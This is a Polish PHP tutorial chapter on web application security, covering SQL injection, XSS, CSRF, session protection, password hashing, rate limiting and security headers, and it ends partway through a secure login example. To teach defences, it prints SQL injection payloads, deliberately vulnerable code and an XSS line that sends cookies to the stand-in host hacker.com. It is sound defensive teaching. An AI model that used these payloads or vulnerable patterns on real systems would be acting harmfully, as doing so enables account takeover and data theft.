22. PHP – bezpieczeństwo aplikacji webowych


Bezpieczeństwo aplikacji webowych to najważniejszy aspekt tworzenia profesjonalnych systemów. Nawet najpiękniejszy kod nie ma sensu, jeśli pozwala hakerom ukraść dane użytkowników, przejąć konta lub zniszczyć bazę danych.

Najczęstsze zagrożenia (OWASP Top 10):

  • SQL Injection – wstrzykiwanie złośliwego kodu SQL
  • XSS (Cross-Site Scripting) – wstrzykiwanie kodu JavaScript
  • CSRF (Cross-Site Request Forgery) – fałszywe żądania
  • Session Hijacking – kradzież sesji użytkownika
  • Weak Authentication – słabe zabezpieczenia logowania

1. SQL Injection – Wstrzykiwanie kodu SQL

SQL Injection to atak polegający na wstawieniu złośliwego kodu SQL do zapytania, co pozwala:

  • Wykraść całą bazę danych
  • Usunąć wszystkie dane
  • Zmienić hasła użytkowników
  • Uzyskać dostęp administratora

Przykład ataku – Logowanie

Kod podatny na atak (NIGDY TAK NIE RÓB!):

<?php
//...
// NIEBEZPIECZNY KOD!
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($db, $query);

if (mysqli_num_rows($result) > 0) {
    echo "Zalogowano!";
}
?>

Co się stanie gdy haker wpisze:

Username: admin' OR '1'='1
Password: cokolwiek

Zapytanie SQL stanie się:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'cokolwiek'

'1'='1' jest zawsze prawdą, więc haker zostanie zalogowany jako admin bez znajomości hasła!

Inne przykłady ataków SQL Injection

1. Wyciągnięcie całej bazy danych:

Username: admin'; SELECT * FROM users; --

2. Usunięcie tabeli:

Username: admin'; DROP TABLE users; --

3. Dodanie admina:

Username: admin'; INSERT INTO users (username, password, role) VALUES ('hacker', 'hack123', 'admin'); --

Ochrona przed SQL Injection – Prepared Statements

MySQLi – Prepared Statements:

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    
    // BEZPIECZNE - Prepared Statement
    $stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $wynik = $stmt->get_result();
    $user = $wynik->fetch_assoc();
    $stmt->close();
    
    if ($user && password_verify($password, $user['password'])) {
        echo "Zalogowano pomyślnie!";
    } else {
        echo "Nieprawidłowy login lub hasło";
    }
}

$db->close();
?>

PDO – Prepared Statements:

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        
        $username = trim($_POST['username'] ?? '');
        $password = $_POST['password'] ?? '';
        
        // BEZPIECZNE - Prepared Statement
        $stmt = $pdo->prepare("SELECT id, username, password FROM users WHERE username = :username");
        $stmt->execute(['username' => $username]);
        $user = $stmt->fetch();
        
        if ($user && password_verify($password, $user['password'])) {
            echo "Zalogowano pomyślnie!";
        } else {
            echo "Nieprawidłowy login lub hasło";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?>

Zasady ochrony przed SQL Injection:

  • ZAWSZE używaj Prepared Statements
  • Waliduj typy danych – rzutuj na (int) dla liczb
  • Escapuj specjalne znaki – mysqli_real_escape_string() (ostateczność)
  • NIGDY nie łącz SQL przez konkatenację z danymi użytkownika

2. XSS (Cross-Site Scripting) – Wstrzykiwanie JavaScript

XSS to atak polegający na wstrzyknięciu złośliwego kodu JavaScript do strony, który wykona się w przeglądarce innych użytkowników.

Skutki ataku XSS:

  • Kradzież cookies i sesji
  • Przekierowanie na fałszywe strony
  • Zmiana treści strony
  • Kradzież danych z formularzy

Przykład ataku XSS

Kod podatny na atak:

<?php
// NIEBEZPIECZNY KOD!
$username = $_GET['username'];
echo "Witaj, $username!";
?>

Haker wpisuje w URL:

strona.php?username=<script>alert('Hacked!')</script>

JavaScript się wykona i użytkownik zobaczy alert „Hacked!”.

Bardziej niebezpieczny przykład – Kradzież sesji

strona.php?username=<script>document.location='http://hacker.com/steal.php?cookie='+document.cookie</script>

Ten kod wysyła cookies użytkownika (w tym ID sesji) do hakera!

Ochrona przed XSS – htmlspecialchars()

<?php
// BEZPIECZNY KOD
$username = $_GET['username'] ?? 'Gość';

// Escapujemy specjalne znaki HTML
$safe_username = htmlspecialchars($username, ENT_QUOTES, 'UTF-8');

echo "Witaj, {$safe_username}!";
?>

Co robi htmlspecialchars()?

Zamienia:

  • < na &lt;
  • > na &gt;
  • " na &quot;
  • ' na &#039;
  • & na &amp;

Dzięki temu <script> staje się &lt;script&gt; i jest wyświetlane jako tekst, nie kod!

Przykład – Komentarze na blogu

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'blog');
$db->set_charset('utf8mb4');

// Dodawanie komentarza
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $author = trim($_POST['author'] ?? '');
    $comment = trim($_POST['comment'] ?? '');
    
    if (!empty($author) && !empty($comment)) {
        
        // Zapisujemy RAW dane do bazy (NIE escapujemy przy zapisie!)
        $stmt = $db->prepare("INSERT INTO comments (author, comment, created_at) VALUES (?, ?, NOW())");
        $stmt->bind_param("ss", $author, $comment);
        
        if ($stmt->execute()) {
            header("Location: komentarze.php");
            exit;
        }
        
        $stmt->close();
    }
}

// Wyświetlanie komentarzy
$stmt = $db->prepare("SELECT * FROM comments ORDER BY created_at DESC LIMIT 10");
$stmt->execute();
$wynik = $stmt->get_result();
$komentarze = $wynik->fetch_all(MYSQLI_ASSOC);
$stmt->close();
$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Komentarze</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
        }
        .comment {
            background: #f4f4f4;
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
            border-left: 4px solid #667eea;
        }
        .comment-author {
            font-weight: bold;
            color: #667eea;
        }
        .comment-text {
            margin-top: 10px;
            color: #333;
        }
        .form-group {
            margin-bottom: 15px;
        }
        input, textarea {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
    </style>
</head>
<body>

<h1>Komentarze na blogu</h1>

<form method="POST">
    <div class="form-group">
        <input type="text" name="author" placeholder="Twoje imię" required>
    </div>
    <div class="form-group">
        <textarea name="comment" placeholder="Twój komentarz" rows="5" required></textarea>
    </div>
    <button type="submit">Dodaj komentarz</button>
</form>

<h2>Najnowsze komentarze:</h2>

<?php foreach ($komentarze as $koment): ?>
    <div class="comment">
        <div class="comment-author">
            <?= htmlspecialchars($koment['author']) ?>
        </div>
        <div class="comment-text">
            <?= nl2br(htmlspecialchars($koment['comment'])) ?>
        </div>
        <small><?= date('d.m.Y H:i', strtotime($koment['created_at'])) ?></small>
    </div>
<?php endforeach; ?>

</body>
</html>

Zasady ochrony przed XSS:

  • ZAWSZE używaj htmlspecialchars() przy wyświetlaniu danych od użytkownika
  • Użyj ENT_QUOTES aby escapować też apostrofy
  • Ustaw charset na UTF-8
  • Waliduj dane wejściowe (whitelist, nie blacklist)
  • Użyj Content Security Policy (CSP) – o tym dalej

A tutaj można się sprawdzić: https://xss-game.appspot.com/

3. CSRF (Cross-Site Request Forgery) – Fałszywe żądania

CSRF to atak polegający na zmuszeniu zalogowanego użytkownika do wykonania nieautoryzowanej akcji.

Przykład ataku: Użytkownik jest zalogowany na bank.pl. Haker wysyła mu e-mail z linkiem:

<img src="http://bank.pl/transfer.php?to=hacker&amount=10000">

Gdy użytkownik otworzy e-mail, przeglądarka automatycznie wyśle żądanie do bank.pl z jego cookies/sesją, co wykona przelew!

Ochrona przed CSRF – Tokeny

  • Przy wyświetleniu formularza generujemy unikalny token
  • Token zapisujemy w sesji
  • Token dodajemy jako ukryte pole w formularzu
  • Przy odbiorze formularza sprawdzamy czy token się zgadza

Implementacja tokenów CSRF

<?php
session_start();

// Funkcja generująca token CSRF
function generateCSRFToken() {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); // bezpieczny generator losowy
    }
    return $_SESSION['csrf_token'];
}

// Funkcja sprawdzająca token CSRF
function verifyCSRFToken($token) {
    if (!isset($_SESSION['csrf_token'])) {
        return false;
    }
    return hash_equals($_SESSION['csrf_token'], $token); //bezpieczne porównywanie (zapobiega timing attack)
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$errors = [];
$success = false;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Sprawdź token CSRF
    $csrf_token = $_POST['csrf_token'] ?? '';
    
    if (!verifyCSRFToken($csrf_token)) {
        die('Nieprawidłowy token CSRF! Możliwa próba ataku.');
    }
    
    // Token poprawny - przetwarzamy formularz
    $username = trim($_POST['username'] ?? '');
    $email = trim($_POST['email'] ?? '');
    
    if (!empty($username) && !empty($email)) {
        
        $stmt = $db->prepare("INSERT INTO users (username, email, created_at) VALUES (?, ?, NOW())");
        $stmt->bind_param("ss", $username, $email);
        
        if ($stmt->execute()) {
            $success = true;
            
            // Usuń token po użyciu (jednorazowy)
            unset($_SESSION['csrf_token']);
        }
        
        $stmt->close();
    }
}

// Generuj nowy token dla formularza
$csrf_token = generateCSRFToken();

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja z ochroną CSRF</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        input {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
    </style>
</head>
<body>

<h1>Rejestracja użytkownika</h1>

<?php if ($success): ?>
    <div class="success">
        Użytkownik został zarejestrowany pomyślnie!
    </div>
<?php endif; ?>

<form method="POST">
    <!-- Ukryty token CSRF -->
    <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrf_token) ?>">
    
    <div class="form-group">
        <label>Username:</label>
        <input type="text" name="username" required>
    </div>
    
    <div class="form-group">
        <label>Email:</label>
        <input type="email" name="email" required>
    </div>
    
    <button type="submit">Zarejestruj</button>
</form>

<p><small>Token CSRF: <?= substr($csrf_token, 0, 16) ?>...</small></p>

</body>
</html>

Zasady ochrony przed CSRF:

  • Używaj tokenów CSRF dla wszystkich formularzy zmieniających dane
  • Token musi być unikalny i nieprzewidywalny
  • Sprawdzaj token po stronie serwera
  • Token powinien być przypisany do sesji użytkownika
  • Używaj metody POST dla operacji zmieniających dane (nigdy GET!)

4. Session Hijacking i Session Fixation

Session Hijacking – Kradzież sesji

Czym jest? Przejęcie ID sesji innego użytkownika, co pozwala hakerowi zalogować się jako ten użytkownik.

  • Haker przechwytuje ID sesji (przez XSS, packet sniffing, itp.)
  • Ustawia to ID w swojej przeglądarce
  • Serwer myśli, że to legalny użytkownik

Ochrona przed Session Hijacking

<?php
session_start();

// Funkcja regenerująca ID sesji
function secureSession() {
    
    // Regeneruj ID sesji przy każdym logowaniu
    if (!isset($_SESSION['initiated'])) {
        session_regenerate_id(true);
        $_SESSION['initiated'] = true;
    }
    
    // Sprawdź IP użytkownika
    if (!isset($_SESSION['user_ip'])) {
        $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
    } elseif ($_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR']) {
        // IP się zmienił - możliwy atak!
        session_destroy();
        die('Sesja wygasła ze względów bezpieczeństwa');
    }
    
    // Sprawdź User Agent
    if (!isset($_SESSION['user_agent'])) {
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
    } elseif ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
        // User Agent się zmienił - możliwy atak!
        session_destroy();
        die('Sesja wygasła ze względów bezpieczeństwa');
    }
    
    // Timeout sesji (30 minut)
    if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > 1800)) {
        session_unset();
        session_destroy();
        header("Location: logowanie.php?timeout=1");
        exit;
    }
    $_SESSION['last_activity'] = time();
}

// Wywołaj przy każdym żądaniu
secureSession();
?>

Session Fixation – Narzucenie ID sesji

Czym jest? Haker narzuca swoje ID sesji ofierze, a gdy ofiara się zaloguje, haker również ma dostęp do konta.

Ochrona:

<?php
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    
    // Sprawdzenie użytkownika w bazie...
    // (kod z poprzednich przykładów)
    
    if ($user && password_verify($password, $user['password'])) {
        
        // REGENERUJ ID SESJI PRZY LOGOWANIU!
        session_regenerate_id(true);
        
        // Zapisz dane użytkownika
        $_SESSION['user_id'] = $user['id'];
        $_SESSION['username'] = $user['username'];
        $_SESSION['logged_in'] = true;
        
        // Zapisz fingerprint
        $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        
        header("Location: panel.php");
        exit;
    }
}
?>

Bezpieczna konfiguracja sesji w php.ini

; Używaj tylko cookies (nie URL)
session.use_only_cookies = 1

; Niedostępne dla JavaScript
session.cookie_httponly = 1

; Tylko przez HTTPS (w produkcji)
session.cookie_secure = 1

; Ochrona przed CSRF
session.cookie_samesite = "Strict"

; Długość ID sesji
session.sid_length = 48

; Bezpieczny generator
session.sid_bits_per_character = 6

W PHP:

<?php
// Konfiguracja sesji
ini_set('session.use_only_cookies', 1);
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1); // Tylko dla HTTPS!
ini_set('session.cookie_samesite', 'Strict');

session_start();
?>

5. Password Hashing – Bezpieczne hasła

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    
    // Walidacja hasła
    if (strlen($password) < 8) {
        $errors[] = "Hasło musi mieć min. 8 znaków";
    }
    
    if (empty($errors)) {
        
        // Hashuj hasło (automatycznie używa bcrypt + salt)
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        // Zapisz hash do bazy
        $stmt = $db->prepare("INSERT INTO users (username, password) VALUES (?, ?)");
        $stmt->bind_param("ss", $username, $password_hash);
        $stmt->execute();
        $stmt->close();
    }
}
?>

Hash wygląda tak:

$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi
  • $2y$ – algorytm (bcrypt)
  • 10 – cost (2^10 iteracji)
  • Losowy salt + hash

Logowanie:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    
    // Pobierz użytkownika z bazy
    $stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $wynik = $stmt->get_result();
    $user = $wynik->fetch_assoc();
    $stmt->close();
    
    // Sprawdź hasło
    if ($user && password_verify($password, $user['password'])) {
        
        // Sprawdź czy hash wymaga aktualizacji
        if (password_needs_rehash($user['password'], PASSWORD_DEFAULT)) {
            $new_hash = password_hash($password, PASSWORD_DEFAULT);
            
            $stmt_update = $db->prepare("UPDATE users SET password = ? WHERE id = ?");
            $stmt_update->bind_param("si", $new_hash, $user['id']);
            $stmt_update->execute();
            $stmt_update->close();
        }
        
        echo "Zalogowano pomyślnie!";
    } else {
        echo "Nieprawidłowy login lub hasło";
    }
}
?>

Zasady bezpiecznych haseł:

  • Używaj password_hash() z PASSWORD_DEFAULT
  • NIGDY nie używaj MD5 ani SHA1 do haseł!
  • Wymagaj min. 8 znaków (lepiej 12+)
  • Sprawdzaj siłę hasła (wielkie/małe litery, cyfry, znaki specjalne)
  • Nie przechowuj podpowiedzi do hasła

6. Walidacja i sanityzacja danych

Walidacja – czy dane są poprawne?

<?php
$email = trim($_POST['email'] ?? '');
$age = (int)($_POST['age'] ?? 0);
$url = trim($_POST['url'] ?? '');

// Walidacja email
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    $errors[] = "Nieprawidłowy format email";
}

// Walidacja wieku
if ($age < 18 || $age > 120) {
    $errors[] = "Wiek musi być między 18 a 120";
}

// Walidacja URL
if (!filter_var($url, FILTER_VALIDATE_URL)) {
    $errors[] = "Nieprawidłowy format URL";
}

// Walidacja wyrażeniem regularnym
$username = trim($_POST['username'] ?? '');
if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
    $errors[] = "Username: 3-20 znaków, tylko litery, cyfry i podkreślnik";
}
?>

Sanityzacja – oczyszczanie danych

<?php
// Usuń tagi HTML
$text = strip_tags($_POST['text']);

// Usuń białe znaki
$username = trim($_POST['username']);

// Sanityzacja email
$email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL);

// Sanityzacja URL
$url = filter_var($_POST['url'], FILTER_SANITIZE_URL);

// Sanityzacja liczby
$age = filter_var($_POST['age'], FILTER_SANITIZE_NUMBER_INT);

// Rzutowanie typu
$id = (int)$_GET['id'];
$price = (float)$_POST['price'];
$is_active = (bool)$_POST['active'];
?>

Whitelist vs Blacklist

Blacklist (ZŁE):

<?php
// Próba blokowania złych wartości - NIGDY nie złapiesz wszystkich!
$sort = $_GET['sort'];
if ($sort !== 'DROP' && $sort !== 'DELETE' && $sort !== 'UPDATE') {
    $query = "SELECT * FROM users ORDER BY $sort"; // NADAL NIEBEZPIECZNE!
}
?>

Whitelist (DOBRE):

<?php
// Lista dozwolonych wartości
$allowed_sort = ['username', 'email', 'created_at', 'level'];
$sort = $_GET['sort'] ?? 'username';

if (in_array($sort, $allowed_sort)) {
    $query = "SELECT * FROM users ORDER BY $sort"; // BEZPIECZNE
} else {
    $sort = 'username'; // Domyślna wartość
    $query = "SELECT * FROM users ORDER BY $sort";
}
?>

7. Rate Limiting – Ograniczanie prób logowania

Bez rate limiting haker może próbować tysięcy haseł w sekundę (brute force attack).

Implementacja prostego rate limitera

<?php
session_start();

function checkRateLimit($max_attempts = 5, $timeout = 300) {
    
    // Inicjalizacja countera
    if (!isset($_SESSION['login_attempts'])) {
        $_SESSION['login_attempts'] = 0;
        $_SESSION['first_attempt_time'] = time();
    }
    
    // Sprawdź czy timeout minął
    if (time() - $_SESSION['first_attempt_time'] > $timeout) {
        // Reset po timeout
        $_SESSION['login_attempts'] = 0;
        $_SESSION['first_attempt_time'] = time();
        unset($_SESSION['blocked_until']);
    }
    
    // Sprawdź czy zablokowany
    if (isset($_SESSION['blocked_until']) && time() < $_SESSION['blocked_until']) {
        $remaining = $_SESSION['blocked_until'] - time();
        $minutes = ceil($remaining / 60);
        return [
            'allowed' => false,
            'message' => "Za dużo prób logowania. Spróbuj ponownie za {$minutes} minut."
        ];
    }
    
    // Sprawdź liczbę prób
    if ($_SESSION['login_attempts'] >= $max_attempts) {
        // Zablokuj na 5 minut
        $_SESSION['blocked_until'] = time() + $timeout;
        return [
            'allowed' => false,
            'message' => "Za dużo prób logowania. Zablokowano na 5 minut."
        ];
    }
    
    return ['allowed' => true];
}

function incrementLoginAttempts() {
    $_SESSION['login_attempts']++;
}

function resetLoginAttempts() {
    $_SESSION['login_attempts'] = 0;
    unset($_SESSION['blocked_until']);
    unset($_SESSION['first_attempt_time']);
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$errors = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Sprawdź rate limit
    $rate_limit = checkRateLimit();
    
    if (!$rate_limit['allowed']) {
        $errors[] = $rate_limit['message'];
    } else {
        
        $username = trim($_POST['username'] ?? '');
        $password = $_POST['password'] ?? '';
        
        if (!empty($username) && !empty($password)) {
            
            $stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
            $stmt->bind_param("s", $username);
            $stmt->execute();
            $wynik = $stmt->get_result();
            $user = $wynik->fetch_assoc();
            $stmt->close();
            
            if ($user && password_verify($password, $user['password'])) {
                
                // Sukces - reset countera
                resetLoginAttempts();
                
                $_SESSION['user_id'] = $user['id'];
                $_SESSION['username'] = $user['username'];
                $_SESSION['logged_in'] = true;
                
                $db->close();
                
                header("Location: panel.php");
                exit;
                
            } else {
                // Niepowodzenie - zwiększ counter
                incrementLoginAttempts();
                $errors[] = "Nieprawidłowy login lub hasło";
            }
        }
    }
}

$db->close();

// Sprawdź ile pozostało prób
$attempts_left = 5 - ($_SESSION['login_attempts'] ?? 0);
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Logowanie z Rate Limiting</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 400px;
            margin: 50px auto;
            padding: 20px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        input {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            width: 100%;
            padding: 10px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
    </style>
</head>
<body>

<h1>Logowanie</h1>

<?php if (!empty($errors)): ?>
    <div class="error">
        <?php foreach ($errors as $error): ?>
            <p><?= htmlspecialchars($error) ?></p>
        <?php endforeach; ?>
    </div>
<?php endif; ?>

<?php if ($attempts_left > 0 && $attempts_left < 5): ?>
    <div class="warning">
        Pozostało prób: <?= $attempts_left ?>
    </div>
<?php endif; ?>

<form method="POST">
    <div class="form-group">
        <input type="text" name="username" placeholder="Username" required>
    </div>
    <div class="form-group">
        <input type="password" name="password" placeholder="Hasło" required>
    </div>
    <button type="submit">Zaloguj</button>
</form>

</body>
</html>

8. Security Headers – Nagłówki bezpieczeństwa

Content Security Policy (CSP)

Zapobiega XSS poprzez kontrolowanie źródeł zasobów (skrypty, style, obrazy).

<?php
// Podstawowy CSP - tylko własne źródła
header("Content-Security-Policy: default-src 'self'");

// Bardziej szczegółowy
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self' https://fonts.gstatic.com");
?>

X-Frame-Options

Zapobiega clickjacking (umieszczaniu strony w iframe).

<?php
// Zabroń umieszczania w iframe
header("X-Frame-Options: DENY");

// Lub tylko w tej samej domenie
header("X-Frame-Options: SAMEORIGIN");
?>

X-Content-Type-Options

Zapobiega MIME sniffing.

<?php
header("X-Content-Type-Options: nosniff");
?>

Strict-Transport-Security (HSTS)

Wymusza HTTPS.

<?php
// Wymuszaj HTTPS przez rok
header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
?>

X-XSS-Protection

Włącza wbudowaną ochronę przed XSS w przeglądarce.

<?php
header("X-XSS-Protection: 1; mode=block");
?>

Referrer-Policy

Kontroluje jak dużo informacji przekazywać w nagłówku Referer.

<?php
header("Referrer-Policy: strict-origin-when-cross-origin");
?>

Permissions-Policy

Kontroluje dostęp do API przeglądarki.

<?php
header("Permissions-Policy: geolocation=(), microphone=(), camera=()");
?>

Wszystkie nagłówki razem

<?php
function setSecurityHeaders() {
    // CSP
    header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;");
    
    // Clickjacking
    header("X-Frame-Options: SAMEORIGIN");
    
    // MIME sniffing
    header("X-Content-Type-Options: nosniff");
    
    // XSS Protection
    header("X-XSS-Protection: 1; mode=block");
    
    // HTTPS (tylko w produkcji!)
    // header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
    
    // Referrer
    header("Referrer-Policy: strict-origin-when-cross-origin");
    
    // Permissions
    header("Permissions-Policy: geolocation=(), microphone=(), camera=()");
}

// Wywołaj na początku każdego skryptu
setSecurityHeaders();
?>

9. HTTPS i bezpieczne przesyłanie danych

Bez HTTPS:

  • Hasła przesyłane w plain text
  • Dane mogą być podsłuchiwane (Man-in-the-Middle attack)
  • Dane mogą być modyfikowane w tranzycie

Wymuszanie HTTPS w PHP

<?php
// Sprawdź czy połączenie jest przez HTTPS
if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] !== 'on') {
    // Przekieruj na HTTPS
    $redirect_url = "https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    header("Location: $redirect_url", true, 301);
    exit;
}
?>

Wymuszanie HTTPS w .htaccess

# Przekieruj wszystko na HTTPS
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

10. Kompleksowy przykład – Bezpieczny system logowania

<?php
session_start();

// Security headers
header("Content-Security-Policy: default-src 'self'");
header("X-Frame-Options: SAMEORIGIN");
header("X-Content-Type-Options: nosniff");
header("X-XSS-Protection: 1; mode=block");

// Wymuszanie HTTPS (odkomentuj w produkcji)
// if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] !== 'on') {
//     header("Location: https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
//     exit;
// }

// Konfiguracja sesji
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 0); // Zmień na 1 w produkcji z HTTPS
ini_set('session.cookie_samesite', 'Strict');

// CSRF Token
function generateCSRFToken() {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

function verifyCSRFToken($token) {
    return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token);
}

// Rate Limiting
function checkRateLimit() {
    if (!isset($_SESSION['login_attempts'])) {
        $_SESSION['login_attempts'] = 0;
        $_SESSION['first_attempt_time'] = time();
    }
    
    if (time() - $_SESSION['first_attempt_time'] > 300) {
        $_SESSION['login_attempts'] = 0;
        $_SESSION['first_attempt_time'] = time();
        unset($_SESSION['blocked_until']);
    }
    
    if (isset($_SESSION['blocked_until']) && time() < $_SESSION['blocked_until']) {
        return ['allowed' => false, 'message' => 'Za dużo prób. Zablokowano na 5 minut.'];
    }
    
    if ($_SESSION['login_attempts'] >= 5) {
        $_SESSION['blocked_until'] = time() + 300;
        return ['allowed' => false, 'message' => 'Za dużo prób. Zablokowano na 5 minut.'];
    }
    
    return ['allowed' => true];
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    error_log("Connection error: " . $db->connect_error);
    die('Błąd połączenia z bazą danych');
}

$db->set_charset('utf8mb4');

$errors = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Sprawdź CSRF token
    if (!verifyCSRFToken($_POST['csrf_token'] ?? '')) {
        die('Nieprawidłowy token CSRF');
    }
    
    // Sprawdź rate limit
    $rate_limit = checkRateLimit();
    if (!$rate_limit['allowed']) {
        $errors[] = $rate_limit['message'];
    } else {
        
        // Walidacja danych
        $username = trim($_POST['username'] ?? '');
        $password = $_POST['password'] ?? '';
        
        if (empty($username)) {
            $errors[] = "Username jest wymagany";
        }
        
        if (empty($password)) {
            $errors[] = "Hasło jest wymagane";
        }
        
        if (empty($errors)) {
            
            // Prepared statement - ochrona przed SQL Injection
            $stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
            $stmt->bind_param("s", $username);
            $stmt->execute();
            $wynik = $stmt->get_result();
            $user = $wynik->fetch_assoc();
            $stmt->close();
            
            // Password verification
            if ($user && password_verify($password, $user['password'])) {
                
                // Sukces - reset rate limiter
                $_SESSION['login_attempts'] = 0;
                unset($_SESSION['blocked_until']);
                
                // Regeneruj ID sesji - ochrona przed Session Fixation
                session_regenerate_id(true);
                
                // Usuń stary CSRF token
                unset($_SESSION['csrf_token']);
                
                // Zapisz dane użytkownika
                $_SESSION['user_id'] = $user['id'];
                $_SESSION['username'] = $user['username'];
                $_SESSION['logged_in'] = true;
                $_SESSION['login_time'] = time();
                
                // Fingerprint sesji - ochrona przed Session Hijacking
                $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
                $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
                
                $db->close();
                
                header("Location: panel.php");
                exit;
                
            } else {
                // Niepowodzenie - zwiększ counter
                $_SESSION['login_attempts']++;
                $errors[] = "Nieprawidłowy username lub hasło";
            }
        }
    }
}

$db->close();

// Generuj token dla formularza
$csrf_token = generateCSRFToken();
$attempts_left = 5 - ($_SESSION['login_attempts'] ?? 0);
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
